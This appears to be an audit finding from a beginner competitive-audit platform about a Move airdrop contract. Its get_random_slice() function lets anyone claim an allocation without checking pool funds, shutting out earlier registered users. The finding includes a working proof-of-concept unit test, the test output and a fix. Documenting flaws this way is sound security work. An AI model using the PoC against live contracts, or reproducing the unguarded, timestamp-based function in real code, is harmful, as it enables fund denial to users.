Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

A user is able to call get_random_slice() without the module checking if there is sufficient PizzaDrop pool APT funds available

get_random_slice() does not check whether there is sufficient PizzaDrop pool APT funds + A user is able to cause a DOS to legitimate registered users

Description

  • get_random_slice() should check if the PizzaDrop pool funds are sufficient before assigning the random PizzaDrop slice to a user.

  • Any user can callget_random_slice() and can be assigned a random PizzaDrop slice even if the pool funds are not sufficient.

#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
@> // not check for sufficient pool funds before assigning PizzaDrop slice to user
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • There is insufficient PizzaDrop pool funds and a user calls get_random_slice().

Impact:

  • The module can assign a user a PizzaDrop slice beyond the funds available in the pool causing DOS to first come users who got a slice first.

Proof of Concept

fun p<T>(s: &T) {
debug::print(s);
}
fun p_vector(s: vector<u8>) {
debug::print(&string::utf8(s));
}
#[test(deployer = @pizza_drop, user1 = @0x123, user2 = @0x456, framework = @0x1)]
#[expected_failure(abort_code = E_INSUFFICIENT_FUND)]
fun test_get_random_slice_exceeding_pool_funds(
deployer: &signer,
user1: &signer,
user2: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
// Initialize timestamp and APT for testing
timestamp::set_time_has_started_for_testing(framework);
let now_us = timestamp::now_microseconds();
p_vector(b"now_us");
p(&now_us);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
// Create accounts
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(user1));
account::create_account_for_test(signer::address_of(user2));
// Initialize the pizza drop module
init_module(deployer);
// Mint APT to deployer for funding
let funding_amount = 100000; // 0.001 APT in Octas
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
let deployer_balance = coin::balance<AptosCoin>(@pizza_drop);
p_vector(b"Deployer APT balance: ");
debug::print(&deployer_balance);
let contract_funding = 100; // 0.000001 APT
fund_pizza_drop(deployer, contract_funding);
let contract_balance = get_actual_apt_balance();
p_vector(b"Contract APT balance: ");
debug::print(&contract_balance);
let user1_addr = signer::address_of(user1);
// Register user1 for the airdrop
register_pizza_lover(deployer, user1_addr);
// user2 registers denying the legitimately registered user1 of claiming
let user2_addr = signer::address_of(user2);
get_random_slice(user2_addr);
let user1_claimed_amount = get_claimed_amount(user1_addr);
p_vector(b"user1_claimed_amount");
p(&user1_claimed_amount);
let user2_claimed_amount = get_claimed_amount(user2_addr);
p_vector(b"user2_claimed_amount");
p(&user2_claimed_amount);
// User2 claims their pizza slice
claim_pizza_slice(user2);
assert!(has_claimed_slice(user2_addr), 1);
// User1 attempts to claim their pizza slice
claim_pizza_slice(user1);
// Clean up
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}

On line 62 user2 calls get_random_slice() and it succeeds even when there are insufficient funds in the pool.

This causes a DOS to user1 on line 77 when they try to claim their PizzaDrop even though user1 was registered first before user2.

Run with:

aptos move test --filter test_get_random_slice_exceeding_pool_funds

Output:

Running Move unit tests
[debug] "now_us"
[debug] 0
[debug] "Deployer APT balance: "
[debug] 100000
[debug] "Contract APT balance: "
[debug] 100
[debug] "user1_claimed_amount"
[debug] 100
[debug] "user2_claimed_amount"
[debug] 100
[ PASS ] 0xccc::airdrop::test_get_random_slice_exceeding_pool_funds
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}

Recommended Mitigation

Enforce that there are sufficient funds in the PizzaDrop pool before registering a user with the PizzaDrop slice.

#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
+ // Check if contract has sufficient balance
+ assert!(state.balance >= random_amount, E_INSUFFICIENT_FUND);
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
Updates

Appeal created

bube Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `get_random_slice` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.